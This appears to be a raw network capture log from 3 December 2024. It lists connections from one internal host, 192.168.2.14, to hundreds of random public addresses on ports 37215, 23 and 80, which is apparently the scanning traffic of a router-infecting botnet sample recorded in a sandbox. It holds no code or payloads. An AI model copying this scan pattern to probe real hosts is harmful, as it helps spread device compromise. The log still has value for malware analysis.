Dec 3, 2024 22:02:05.218643904 CET	40832	37215	192.168.2.14	156.157.252.82
Dec 3, 2024 22:02:05.218652964 CET	40832	37215	192.168.2.14	197.12.201.186
Dec 3, 2024 22:02:05.218652964 CET	40832	37215	192.168.2.14	41.189.2.102
Dec 3, 2024 22:02:05.218652964 CET	40832	37215	192.168.2.14	197.125.52.255
Dec 3, 2024 22:02:05.218652964 CET	40832	37215	192.168.2.14	156.20.127.118
Dec 3, 2024 22:02:05.218660116 CET	40832	37215	192.168.2.14	197.231.50.160
Dec 3, 2024 22:02:05.218660116 CET	40832	37215	192.168.2.14	197.84.207.125
Dec 3, 2024 22:02:05.218660116 CET	40832	37215	192.168.2.14	41.115.37.66
Dec 3, 2024 22:02:05.218661070 CET	40832	37215	192.168.2.14	197.53.27.152
Dec 3, 2024 22:02:05.218662024 CET	40832	37215	192.168.2.14	156.56.17.231
Dec 3, 2024 22:02:05.218661070 CET	40832	37215	192.168.2.14	41.178.20.189
Dec 3, 2024 22:02:05.218661070 CET	40832	37215	192.168.2.14	156.195.72.144
Dec 3, 2024 22:02:05.218664885 CET	40832	37215	192.168.2.14	41.20.126.207
Dec 3, 2024 22:02:05.218664885 CET	40832	37215	192.168.2.14	41.214.252.14
Dec 3, 2024 22:02:05.218669891 CET	40832	37215	192.168.2.14	41.158.65.47
Dec 3, 2024 22:02:05.218671083 CET	40832	37215	192.168.2.14	197.121.161.63
Dec 3, 2024 22:02:05.218673944 CET	40832	37215	192.168.2.14	197.189.249.224
Dec 3, 2024 22:02:05.218673944 CET	40832	37215	192.168.2.14	41.174.147.250
Dec 3, 2024 22:02:05.218682051 CET	40832	37215	192.168.2.14	197.189.191.108
Dec 3, 2024 22:02:05.218682051 CET	40832	37215	192.168.2.14	197.223.90.40
Dec 3, 2024 22:02:05.218682051 CET	40832	37215	192.168.2.14	156.47.255.104
Dec 3, 2024 22:02:05.218682051 CET	40832	37215	192.168.2.14	156.181.9.142
Dec 3, 2024 22:02:05.218682051 CET	40832	37215	192.168.2.14	41.254.108.124
Dec 3, 2024 22:02:05.218683958 CET	40832	37215	192.168.2.14	41.203.139.77
Dec 3, 2024 22:02:05.218691111 CET	40832	37215	192.168.2.14	156.60.211.111
Dec 3, 2024 22:02:05.218691111 CET	40832	37215	192.168.2.14	197.234.159.169
Dec 3, 2024 22:02:05.218691111 CET	40832	37215	192.168.2.14	41.101.89.250
Dec 3, 2024 22:02:05.218698025 CET	40832	37215	192.168.2.14	41.126.220.176
Dec 3, 2024 22:02:05.218698978 CET	40832	37215	192.168.2.14	41.90.120.31
Dec 3, 2024 22:02:05.218700886 CET	40832	37215	192.168.2.14	197.133.47.75
Dec 3, 2024 22:02:05.218700886 CET	40832	37215	192.168.2.14	41.161.200.255
Dec 3, 2024 22:02:05.218700886 CET	40832	37215	192.168.2.14	156.169.239.82
Dec 3, 2024 22:02:05.218702078 CET	40832	37215	192.168.2.14	41.27.243.247
Dec 3, 2024 22:02:05.218702078 CET	40832	37215	192.168.2.14	197.91.104.32
Dec 3, 2024 22:02:05.218700886 CET	40832	37215	192.168.2.14	156.219.109.97
Dec 3, 2024 22:02:05.218702078 CET	40832	37215	192.168.2.14	156.51.12.121
Dec 3, 2024 22:02:05.218700886 CET	40832	37215	192.168.2.14	156.3.200.79
Dec 3, 2024 22:02:05.218708038 CET	52974	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:05.218708038 CET	40832	37215	192.168.2.14	156.250.92.238
Dec 3, 2024 22:02:05.218708992 CET	40832	37215	192.168.2.14	156.232.28.52
Dec 3, 2024 22:02:05.218708992 CET	40832	37215	192.168.2.14	41.120.93.142
Dec 3, 2024 22:02:05.218715906 CET	40832	37215	192.168.2.14	156.172.22.112
Dec 3, 2024 22:02:05.218715906 CET	40832	37215	192.168.2.14	41.243.229.109
Dec 3, 2024 22:02:05.218715906 CET	40832	37215	192.168.2.14	156.228.179.217
Dec 3, 2024 22:02:05.218719959 CET	40832	37215	192.168.2.14	197.170.19.30
Dec 3, 2024 22:02:05.218714952 CET	40832	37215	192.168.2.14	156.48.228.149
Dec 3, 2024 22:02:05.218714952 CET	40832	37215	192.168.2.14	156.191.211.118
Dec 3, 2024 22:02:05.218722105 CET	40832	37215	192.168.2.14	197.49.128.207
Dec 3, 2024 22:02:05.218724012 CET	40832	37215	192.168.2.14	197.121.45.77
Dec 3, 2024 22:02:05.218724966 CET	40832	37215	192.168.2.14	156.242.36.203
Dec 3, 2024 22:02:05.218725920 CET	40832	37215	192.168.2.14	156.13.206.71
Dec 3, 2024 22:02:05.218730927 CET	40832	37215	192.168.2.14	156.46.203.68
Dec 3, 2024 22:02:05.218732119 CET	40832	37215	192.168.2.14	41.67.12.246
Dec 3, 2024 22:02:05.218733072 CET	40832	37215	192.168.2.14	156.172.18.233
Dec 3, 2024 22:02:05.218732119 CET	40832	37215	192.168.2.14	41.96.158.101
Dec 3, 2024 22:02:05.218732119 CET	40832	37215	192.168.2.14	156.22.0.60
Dec 3, 2024 22:02:05.218732119 CET	40832	37215	192.168.2.14	156.118.133.41
Dec 3, 2024 22:02:05.218736887 CET	40832	37215	192.168.2.14	41.227.81.56
Dec 3, 2024 22:02:05.218736887 CET	40832	37215	192.168.2.14	197.169.199.138
Dec 3, 2024 22:02:05.218739033 CET	40832	37215	192.168.2.14	197.218.110.43
Dec 3, 2024 22:02:05.218743086 CET	40832	37215	192.168.2.14	41.29.78.52
Dec 3, 2024 22:02:05.218743086 CET	40832	37215	192.168.2.14	156.144.221.189
Dec 3, 2024 22:02:05.218743086 CET	40832	37215	192.168.2.14	156.8.43.137
Dec 3, 2024 22:02:05.218744993 CET	40832	37215	192.168.2.14	41.11.74.250
Dec 3, 2024 22:02:05.218765020 CET	40832	37215	192.168.2.14	156.182.49.244
Dec 3, 2024 22:02:05.218770027 CET	40832	37215	192.168.2.14	197.82.84.179
Dec 3, 2024 22:02:05.218771935 CET	40832	37215	192.168.2.14	197.10.83.231
Dec 3, 2024 22:02:05.218771935 CET	40832	37215	192.168.2.14	197.191.157.206
Dec 3, 2024 22:02:05.218774080 CET	40832	37215	192.168.2.14	41.10.124.28
Dec 3, 2024 22:02:05.218774080 CET	40832	37215	192.168.2.14	41.247.249.162
Dec 3, 2024 22:02:05.218776941 CET	40832	37215	192.168.2.14	197.16.250.127
Dec 3, 2024 22:02:05.218785048 CET	40832	37215	192.168.2.14	41.170.156.210
Dec 3, 2024 22:02:05.218785048 CET	40832	37215	192.168.2.14	197.73.126.238
Dec 3, 2024 22:02:05.218796015 CET	40832	37215	192.168.2.14	41.221.212.17
Dec 3, 2024 22:02:05.218797922 CET	40832	37215	192.168.2.14	156.154.81.238
Dec 3, 2024 22:02:05.218800068 CET	40832	37215	192.168.2.14	197.96.11.0
Dec 3, 2024 22:02:05.218802929 CET	40832	37215	192.168.2.14	197.168.183.62
Dec 3, 2024 22:02:05.218803883 CET	40832	37215	192.168.2.14	197.227.10.185
Dec 3, 2024 22:02:05.218805075 CET	40832	37215	192.168.2.14	156.16.7.217
Dec 3, 2024 22:02:05.218805075 CET	40832	37215	192.168.2.14	156.228.94.187
Dec 3, 2024 22:02:05.218810081 CET	40832	37215	192.168.2.14	41.226.223.109
Dec 3, 2024 22:02:05.218828917 CET	40832	37215	192.168.2.14	197.191.8.145
Dec 3, 2024 22:02:05.218828917 CET	40832	37215	192.168.2.14	41.46.148.67
Dec 3, 2024 22:02:05.218832016 CET	40832	37215	192.168.2.14	41.238.155.13
Dec 3, 2024 22:02:05.218832970 CET	40832	37215	192.168.2.14	156.116.43.96
Dec 3, 2024 22:02:05.218832970 CET	40832	37215	192.168.2.14	156.126.107.127
Dec 3, 2024 22:02:05.218851089 CET	40832	37215	192.168.2.14	41.83.203.193
Dec 3, 2024 22:02:05.218852043 CET	40832	37215	192.168.2.14	41.216.186.174
Dec 3, 2024 22:02:05.218852997 CET	40832	37215	192.168.2.14	156.203.79.76
Dec 3, 2024 22:02:05.218858957 CET	40832	37215	192.168.2.14	41.126.80.232
Dec 3, 2024 22:02:05.218861103 CET	40832	37215	192.168.2.14	41.193.174.186
Dec 3, 2024 22:02:05.218862057 CET	40832	37215	192.168.2.14	156.180.186.56
Dec 3, 2024 22:02:05.218877077 CET	40832	37215	192.168.2.14	197.180.191.171
Dec 3, 2024 22:02:05.218882084 CET	40832	37215	192.168.2.14	156.7.13.15
Dec 3, 2024 22:02:05.218882084 CET	40832	37215	192.168.2.14	156.85.25.0
Dec 3, 2024 22:02:05.218892097 CET	40832	37215	192.168.2.14	197.165.64.42
Dec 3, 2024 22:02:05.218893051 CET	40832	37215	192.168.2.14	41.20.84.202
Dec 3, 2024 22:02:05.218903065 CET	40832	37215	192.168.2.14	41.79.148.176
Dec 3, 2024 22:02:05.218907118 CET	40832	37215	192.168.2.14	41.228.0.203
Dec 3, 2024 22:02:05.218914032 CET	40832	37215	192.168.2.14	156.113.182.195
Dec 3, 2024 22:02:05.218926907 CET	40832	37215	192.168.2.14	197.5.198.154
Dec 3, 2024 22:02:05.218938112 CET	40832	37215	192.168.2.14	156.191.20.105
Dec 3, 2024 22:02:05.219067097 CET	56348	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:05.219067097 CET	56348	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:05.219300032 CET	56498	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:05.219611883 CET	44916	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:05.219611883 CET	44916	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:05.219881058 CET	45066	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:05.220139980 CET	53072	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:05.220139980 CET	53072	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:05.220374107 CET	53222	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:05.220662117 CET	57248	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:05.220662117 CET	57248	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:05.220887899 CET	57398	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:05.221163034 CET	46952	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:05.221163034 CET	46952	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:05.221426964 CET	47100	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:05.221707106 CET	40786	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:05.221707106 CET	40786	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:05.221936941 CET	40934	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:05.249352932 CET	37215	54522	156.3.55.17	192.168.2.14
Dec 3, 2024 22:02:05.249439955 CET	54522	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:05.249499083 CET	37215	56708	197.105.204.171	192.168.2.14
Dec 3, 2024 22:02:05.249521017 CET	54522	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:05.249548912 CET	56708	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:05.249691010 CET	56708	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:05.302339077 CET	23	39808	212.148.34.206	192.168.2.14
Dec 3, 2024 22:02:05.302357912 CET	23	39808	148.16.43.77	192.168.2.14
Dec 3, 2024 22:02:05.302402020 CET	39808	23	192.168.2.14	212.148.34.206
Dec 3, 2024 22:02:05.302402020 CET	39808	23	192.168.2.14	148.16.43.77
Dec 3, 2024 22:02:05.302450895 CET	23	39808	104.209.101.226	192.168.2.14
Dec 3, 2024 22:02:05.302469969 CET	23	39808	163.150.150.78	192.168.2.14
Dec 3, 2024 22:02:05.302484989 CET	23	39808	161.120.139.20	192.168.2.14
Dec 3, 2024 22:02:05.302493095 CET	39808	23	192.168.2.14	104.209.101.226
Dec 3, 2024 22:02:05.302494049 CET	23	39808	118.73.20.231	192.168.2.14
Dec 3, 2024 22:02:05.302493095 CET	39808	23	192.168.2.14	163.150.150.78
Dec 3, 2024 22:02:05.302504063 CET	23	39808	133.90.206.56	192.168.2.14
Dec 3, 2024 22:02:05.302515030 CET	39808	23	192.168.2.14	161.120.139.20
Dec 3, 2024 22:02:05.302525997 CET	39808	23	192.168.2.14	118.73.20.231
Dec 3, 2024 22:02:05.302531958 CET	39808	23	192.168.2.14	133.90.206.56
Dec 3, 2024 22:02:05.303206921 CET	23	39808	133.6.146.73	192.168.2.14
Dec 3, 2024 22:02:05.303251982 CET	23	39808	79.247.84.15	192.168.2.14
Dec 3, 2024 22:02:05.303267956 CET	23	39808	202.250.102.217	192.168.2.14
Dec 3, 2024 22:02:05.303268909 CET	39808	23	192.168.2.14	133.6.146.73
Dec 3, 2024 22:02:05.303294897 CET	39808	23	192.168.2.14	79.247.84.15
Dec 3, 2024 22:02:05.303296089 CET	23	39808	65.252.187.16	192.168.2.14
Dec 3, 2024 22:02:05.303301096 CET	39808	23	192.168.2.14	202.250.102.217
Dec 3, 2024 22:02:05.303328037 CET	39808	23	192.168.2.14	65.252.187.16
Dec 3, 2024 22:02:05.303333044 CET	23	39808	85.132.25.139	192.168.2.14
Dec 3, 2024 22:02:05.303358078 CET	23	39808	135.99.207.174	192.168.2.14
Dec 3, 2024 22:02:05.303368092 CET	39808	23	192.168.2.14	85.132.25.139
Dec 3, 2024 22:02:05.303395033 CET	39808	23	192.168.2.14	135.99.207.174
Dec 3, 2024 22:02:05.303395033 CET	23	39808	40.214.57.176	192.168.2.14
Dec 3, 2024 22:02:05.303407907 CET	23	39808	39.162.78.109	192.168.2.14
Dec 3, 2024 22:02:05.303433895 CET	39808	23	192.168.2.14	40.214.57.176
Dec 3, 2024 22:02:05.303441048 CET	39808	23	192.168.2.14	39.162.78.109
Dec 3, 2024 22:02:05.303597927 CET	23	39808	27.8.217.202	192.168.2.14
Dec 3, 2024 22:02:05.303607941 CET	23	39808	105.194.105.90	192.168.2.14
Dec 3, 2024 22:02:05.303617001 CET	23	39808	156.198.195.142	192.168.2.14
Dec 3, 2024 22:02:05.303626060 CET	23	39808	194.148.27.5	192.168.2.14
Dec 3, 2024 22:02:05.303634882 CET	23	39808	143.187.197.148	192.168.2.14
Dec 3, 2024 22:02:05.303637981 CET	39808	23	192.168.2.14	105.194.105.90
Dec 3, 2024 22:02:05.303638935 CET	39808	23	192.168.2.14	156.198.195.142
Dec 3, 2024 22:02:05.303643942 CET	23	39808	69.125.122.217	192.168.2.14
Dec 3, 2024 22:02:05.303649902 CET	39808	23	192.168.2.14	194.148.27.5
Dec 3, 2024 22:02:05.303654909 CET	23	39808	66.112.4.133	192.168.2.14
Dec 3, 2024 22:02:05.303662062 CET	39808	23	192.168.2.14	27.8.217.202
Dec 3, 2024 22:02:05.303668976 CET	23	39808	126.22.155.150	192.168.2.14
Dec 3, 2024 22:02:05.303670883 CET	39808	23	192.168.2.14	143.187.197.148
Dec 3, 2024 22:02:05.303670883 CET	39808	23	192.168.2.14	69.125.122.217
Dec 3, 2024 22:02:05.303678036 CET	23	39808	162.160.206.51	192.168.2.14
Dec 3, 2024 22:02:05.303680897 CET	39808	23	192.168.2.14	66.112.4.133
Dec 3, 2024 22:02:05.303685904 CET	23	39808	34.165.223.146	192.168.2.14
Dec 3, 2024 22:02:05.303694963 CET	23	39808	164.229.99.7	192.168.2.14
Dec 3, 2024 22:02:05.303704977 CET	23	39808	73.170.11.102	192.168.2.14
Dec 3, 2024 22:02:05.303708076 CET	39808	23	192.168.2.14	162.160.206.51
Dec 3, 2024 22:02:05.303710938 CET	39808	23	192.168.2.14	126.22.155.150
Dec 3, 2024 22:02:05.303714037 CET	23	39808	117.100.200.234	192.168.2.14
Dec 3, 2024 22:02:05.303723097 CET	23	39808	41.225.227.70	192.168.2.14
Dec 3, 2024 22:02:05.303725004 CET	39808	23	192.168.2.14	34.165.223.146
Dec 3, 2024 22:02:05.303726912 CET	39808	23	192.168.2.14	164.229.99.7
Dec 3, 2024 22:02:05.303733110 CET	23	39808	159.182.55.107	192.168.2.14
Dec 3, 2024 22:02:05.303742886 CET	23	39808	135.242.35.205	192.168.2.14
Dec 3, 2024 22:02:05.303745031 CET	39808	23	192.168.2.14	73.170.11.102
Dec 3, 2024 22:02:05.303745985 CET	39808	23	192.168.2.14	117.100.200.234
Dec 3, 2024 22:02:05.303751945 CET	23	39808	54.131.62.206	192.168.2.14
Dec 3, 2024 22:02:05.303761959 CET	23	39808	140.180.59.118	192.168.2.14
Dec 3, 2024 22:02:05.303764105 CET	39808	23	192.168.2.14	41.225.227.70
Dec 3, 2024 22:02:05.303764105 CET	39808	23	192.168.2.14	159.182.55.107
Dec 3, 2024 22:02:05.303764105 CET	39808	23	192.168.2.14	135.242.35.205
Dec 3, 2024 22:02:05.303776026 CET	39808	23	192.168.2.14	54.131.62.206
Dec 3, 2024 22:02:05.303778887 CET	23	39808	24.74.192.181	192.168.2.14
Dec 3, 2024 22:02:05.303800106 CET	39808	23	192.168.2.14	140.180.59.118
Dec 3, 2024 22:02:05.303812981 CET	39808	23	192.168.2.14	24.74.192.181
Dec 3, 2024 22:02:05.307847023 CET	80	39296	133.171.253.133	192.168.2.14
Dec 3, 2024 22:02:05.307888985 CET	39296	80	192.168.2.14	133.171.253.133
Dec 3, 2024 22:02:05.308386087 CET	80	46456	18.112.98.27	192.168.2.14
Dec 3, 2024 22:02:05.309053898 CET	80	37514	198.212.68.69	192.168.2.14
Dec 3, 2024 22:02:05.309607029 CET	80	46508	57.191.144.175	192.168.2.14
Dec 3, 2024 22:02:05.310132027 CET	80	50438	79.170.133.116	192.168.2.14
Dec 3, 2024 22:02:05.310859919 CET	80	54168	120.243.91.245	192.168.2.14
Dec 3, 2024 22:02:05.311125040 CET	80	47960	71.56.234.92	192.168.2.14
Dec 3, 2024 22:02:05.311753035 CET	80	43620	20.35.75.252	192.168.2.14
Dec 3, 2024 22:02:05.312258005 CET	80	59766	186.103.200.154	192.168.2.14
Dec 3, 2024 22:02:05.312773943 CET	80	54390	205.253.138.238	192.168.2.14
Dec 3, 2024 22:02:05.313283920 CET	80	41054	90.146.94.112	192.168.2.14
Dec 3, 2024 22:02:05.313829899 CET	80	37122	31.154.194.45	192.168.2.14
Dec 3, 2024 22:02:05.314291000 CET	80	43082	12.155.148.111	192.168.2.14
Dec 3, 2024 22:02:05.314948082 CET	80	36808	180.111.197.220	192.168.2.14
Dec 3, 2024 22:02:05.315346956 CET	80	54890	49.180.199.91	192.168.2.14
Dec 3, 2024 22:02:05.315558910 CET	80	55060	49.180.199.91	192.168.2.14
Dec 3, 2024 22:02:05.315604925 CET	55060	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:05.315634966 CET	55060	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:05.315887928 CET	80	33976	194.3.119.244	192.168.2.14
Dec 3, 2024 22:02:05.315942049 CET	55646	80	192.168.2.14	133.171.253.133
Dec 3, 2024 22:02:05.316355944 CET	80	54360	106.191.70.70	192.168.2.14
Dec 3, 2024 22:02:05.316889048 CET	80	39618	84.18.193.185	192.168.2.14
Dec 3, 2024 22:02:05.317410946 CET	80	34730	129.125.175.170	192.168.2.14
Dec 3, 2024 22:02:05.317965984 CET	80	41744	45.28.33.123	192.168.2.14
Dec 3, 2024 22:02:05.318427086 CET	80	52066	218.163.6.206	192.168.2.14
Dec 3, 2024 22:02:05.318952084 CET	80	33856	164.132.95.172	192.168.2.14
Dec 3, 2024 22:02:05.319464922 CET	80	49394	36.241.29.66	192.168.2.14
Dec 3, 2024 22:02:05.319992065 CET	80	55962	72.243.203.46	192.168.2.14
Dec 3, 2024 22:02:05.320461035 CET	80	60190	62.250.5.2	192.168.2.14
Dec 3, 2024 22:02:05.320991993 CET	80	55850	223.56.226.226	192.168.2.14
Dec 3, 2024 22:02:05.321470022 CET	80	50338	167.62.82.131	192.168.2.14
Dec 3, 2024 22:02:05.321970940 CET	80	60226	89.98.95.53	192.168.2.14
Dec 3, 2024 22:02:05.322539091 CET	80	46742	212.188.14.62	192.168.2.14
Dec 3, 2024 22:02:05.323044062 CET	80	33014	195.185.183.91	192.168.2.14
Dec 3, 2024 22:02:05.323553085 CET	80	58720	207.50.163.240	192.168.2.14
Dec 3, 2024 22:02:05.324109077 CET	80	40904	48.32.166.226	192.168.2.14
Dec 3, 2024 22:02:05.324596882 CET	80	43084	203.231.182.115	192.168.2.14
Dec 3, 2024 22:02:05.325150967 CET	80	38984	167.218.38.29	192.168.2.14
Dec 3, 2024 22:02:05.325896978 CET	80	51388	157.42.76.182	192.168.2.14
Dec 3, 2024 22:02:05.326186895 CET	80	33454	149.204.115.19	192.168.2.14
Dec 3, 2024 22:02:05.326747894 CET	80	54492	160.21.32.85	192.168.2.14
Dec 3, 2024 22:02:05.327199936 CET	80	41500	133.133.165.240	192.168.2.14
Dec 3, 2024 22:02:05.327414036 CET	80	41668	133.133.165.240	192.168.2.14
Dec 3, 2024 22:02:05.327580929 CET	41668	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:05.327580929 CET	41668	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:05.327662945 CET	80	60328	120.27.40.11	192.168.2.14
Dec 3, 2024 22:02:05.328314066 CET	80	33810	223.131.159.194	192.168.2.14
Dec 3, 2024 22:02:05.328754902 CET	80	55334	41.3.202.197	192.168.2.14
Dec 3, 2024 22:02:05.329195976 CET	80	39376	150.169.126.146	192.168.2.14
Dec 3, 2024 22:02:05.329741001 CET	80	59690	69.234.220.201	192.168.2.14
Dec 3, 2024 22:02:05.330249071 CET	80	45746	66.135.164.211	192.168.2.14
Dec 3, 2024 22:02:05.330780029 CET	80	34708	83.66.176.9	192.168.2.14
Dec 3, 2024 22:02:05.331326008 CET	80	58604	199.144.196.39	192.168.2.14
Dec 3, 2024 22:02:05.331768990 CET	80	51406	44.122.74.244	192.168.2.14
Dec 3, 2024 22:02:05.332285881 CET	80	58040	2.66.91.134	192.168.2.14
Dec 3, 2024 22:02:05.332799911 CET	80	56516	93.47.55.220	192.168.2.14
Dec 3, 2024 22:02:05.333292007 CET	80	46614	185.188.215.253	192.168.2.14
Dec 3, 2024 22:02:05.333954096 CET	80	43712	5.247.37.118	192.168.2.14
Dec 3, 2024 22:02:05.334464073 CET	80	37528	46.144.210.85	192.168.2.14
Dec 3, 2024 22:02:05.337769032 CET	37215	40832	156.115.5.177	192.168.2.14
Dec 3, 2024 22:02:05.337790966 CET	80	44556	116.230.207.99	192.168.2.14
Dec 3, 2024 22:02:05.337909937 CET	40832	37215	192.168.2.14	156.115.5.177
Dec 3, 2024 22:02:05.338042974 CET	37215	37316	197.17.118.166	192.168.2.14
Dec 3, 2024 22:02:05.338175058 CET	37316	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:05.338449001 CET	80	52840	67.122.14.87	192.168.2.14
Dec 3, 2024 22:02:05.339195013 CET	80	56348	27.30.146.2	192.168.2.14
Dec 3, 2024 22:02:05.339401960 CET	37215	60810	156.117.49.107	192.168.2.14
Dec 3, 2024 22:02:05.339411020 CET	80	46086	100.186.253.107	192.168.2.14
Dec 3, 2024 22:02:05.339658976 CET	80	44916	42.182.65.179	192.168.2.14
Dec 3, 2024 22:02:05.342401028 CET	80	53072	153.65.121.5	192.168.2.14
Dec 3, 2024 22:02:05.342415094 CET	80	57248	64.28.171.0	192.168.2.14
Dec 3, 2024 22:02:05.342436075 CET	80	46952	85.122.192.250	192.168.2.14
Dec 3, 2024 22:02:05.342444897 CET	80	40786	124.187.170.176	192.168.2.14
Dec 3, 2024 22:02:05.349706888 CET	37215	60810	156.117.49.107	192.168.2.14
Dec 3, 2024 22:02:05.349766016 CET	60810	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:05.351428986 CET	80	47960	71.56.234.92	192.168.2.14
Dec 3, 2024 22:02:05.351479053 CET	80	54168	120.243.91.245	192.168.2.14
Dec 3, 2024 22:02:05.351486921 CET	80	50438	79.170.133.116	192.168.2.14
Dec 3, 2024 22:02:05.351566076 CET	80	46508	57.191.144.175	192.168.2.14
Dec 3, 2024 22:02:05.351574898 CET	80	37514	198.212.68.69	192.168.2.14
Dec 3, 2024 22:02:05.351583004 CET	80	46456	18.112.98.27	192.168.2.14
Dec 3, 2024 22:02:05.352802038 CET	80	46086	100.186.253.107	192.168.2.14
Dec 3, 2024 22:02:05.352967978 CET	46086	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:05.359427929 CET	80	36808	180.111.197.220	192.168.2.14
Dec 3, 2024 22:02:05.359448910 CET	80	43082	12.155.148.111	192.168.2.14
Dec 3, 2024 22:02:05.359469891 CET	80	37122	31.154.194.45	192.168.2.14
Dec 3, 2024 22:02:05.359482050 CET	80	41054	90.146.94.112	192.168.2.14
Dec 3, 2024 22:02:05.359492064 CET	80	54390	205.253.138.238	192.168.2.14
Dec 3, 2024 22:02:05.359579086 CET	80	59766	186.103.200.154	192.168.2.14
Dec 3, 2024 22:02:05.359587908 CET	80	43620	20.35.75.252	192.168.2.14
Dec 3, 2024 22:02:05.359600067 CET	80	33856	164.132.95.172	192.168.2.14
Dec 3, 2024 22:02:05.359608889 CET	80	52066	218.163.6.206	192.168.2.14
Dec 3, 2024 22:02:05.359622002 CET	80	41744	45.28.33.123	192.168.2.14
Dec 3, 2024 22:02:05.359631062 CET	80	34730	129.125.175.170	192.168.2.14
Dec 3, 2024 22:02:05.359677076 CET	80	39618	84.18.193.185	192.168.2.14
Dec 3, 2024 22:02:05.359688044 CET	80	54360	106.191.70.70	192.168.2.14
Dec 3, 2024 22:02:05.359695911 CET	80	33976	194.3.119.244	192.168.2.14
Dec 3, 2024 22:02:05.359699965 CET	80	54890	49.180.199.91	192.168.2.14
Dec 3, 2024 22:02:05.363394022 CET	80	33014	195.185.183.91	192.168.2.14
Dec 3, 2024 22:02:05.363482952 CET	80	46742	212.188.14.62	192.168.2.14
Dec 3, 2024 22:02:05.363503933 CET	80	60226	89.98.95.53	192.168.2.14
Dec 3, 2024 22:02:05.363512993 CET	80	50338	167.62.82.131	192.168.2.14
Dec 3, 2024 22:02:05.363531113 CET	80	55850	223.56.226.226	192.168.2.14
Dec 3, 2024 22:02:05.363625050 CET	80	60190	62.250.5.2	192.168.2.14
Dec 3, 2024 22:02:05.363637924 CET	80	55962	72.243.203.46	192.168.2.14
Dec 3, 2024 22:02:05.363665104 CET	80	49394	36.241.29.66	192.168.2.14
Dec 3, 2024 22:02:05.367418051 CET	80	41500	133.133.165.240	192.168.2.14
Dec 3, 2024 22:02:05.367460012 CET	80	51388	157.42.76.182	192.168.2.14
Dec 3, 2024 22:02:05.367495060 CET	80	54492	160.21.32.85	192.168.2.14
Dec 3, 2024 22:02:05.367525101 CET	80	33454	149.204.115.19	192.168.2.14
Dec 3, 2024 22:02:05.371481895 CET	37215	56708	197.105.204.171	192.168.2.14
Dec 3, 2024 22:02:05.371530056 CET	80	38984	167.218.38.29	192.168.2.14
Dec 3, 2024 22:02:05.371613026 CET	37215	54522	156.3.55.17	192.168.2.14
Dec 3, 2024 22:02:05.371622086 CET	80	43084	203.231.182.115	192.168.2.14
Dec 3, 2024 22:02:05.371630907 CET	80	40904	48.32.166.226	192.168.2.14
Dec 3, 2024 22:02:05.371654034 CET	80	58720	207.50.163.240	192.168.2.14
Dec 3, 2024 22:02:05.375427008 CET	80	34708	83.66.176.9	192.168.2.14
Dec 3, 2024 22:02:05.375436068 CET	80	45746	66.135.164.211	192.168.2.14
Dec 3, 2024 22:02:05.375441074 CET	80	59690	69.234.220.201	192.168.2.14
Dec 3, 2024 22:02:05.375489950 CET	80	39376	150.169.126.146	192.168.2.14
Dec 3, 2024 22:02:05.375499964 CET	80	55334	41.3.202.197	192.168.2.14
Dec 3, 2024 22:02:05.375521898 CET	80	33810	223.131.159.194	192.168.2.14
Dec 3, 2024 22:02:05.375614882 CET	80	60328	120.27.40.11	192.168.2.14
Dec 3, 2024 22:02:05.375633955 CET	80	37528	46.144.210.85	192.168.2.14
Dec 3, 2024 22:02:05.375718117 CET	80	43712	5.247.37.118	192.168.2.14
Dec 3, 2024 22:02:05.375726938 CET	80	46614	185.188.215.253	192.168.2.14
Dec 3, 2024 22:02:05.375735044 CET	80	56516	93.47.55.220	192.168.2.14
Dec 3, 2024 22:02:05.375773907 CET	80	58040	2.66.91.134	192.168.2.14
Dec 3, 2024 22:02:05.375782967 CET	80	51406	44.122.74.244	192.168.2.14
Dec 3, 2024 22:02:05.375792027 CET	80	58604	199.144.196.39	192.168.2.14
Dec 3, 2024 22:02:05.375802040 CET	37215	54522	156.3.55.17	192.168.2.14
Dec 3, 2024 22:02:05.375845909 CET	54522	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:05.376573086 CET	37215	56708	197.105.204.171	192.168.2.14
Dec 3, 2024 22:02:05.376708984 CET	56708	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:05.383363008 CET	80	52840	67.122.14.87	192.168.2.14
Dec 3, 2024 22:02:05.383429050 CET	80	44556	116.230.207.99	192.168.2.14
Dec 3, 2024 22:02:05.383444071 CET	80	40786	124.187.170.176	192.168.2.14
Dec 3, 2024 22:02:05.383459091 CET	80	46952	85.122.192.250	192.168.2.14
Dec 3, 2024 22:02:05.383495092 CET	80	57248	64.28.171.0	192.168.2.14
Dec 3, 2024 22:02:05.383508921 CET	80	53072	153.65.121.5	192.168.2.14
Dec 3, 2024 22:02:05.383542061 CET	80	44916	42.182.65.179	192.168.2.14
Dec 3, 2024 22:02:05.383589983 CET	80	56348	27.30.146.2	192.168.2.14
Dec 3, 2024 22:02:05.435780048 CET	80	55646	133.171.253.133	192.168.2.14
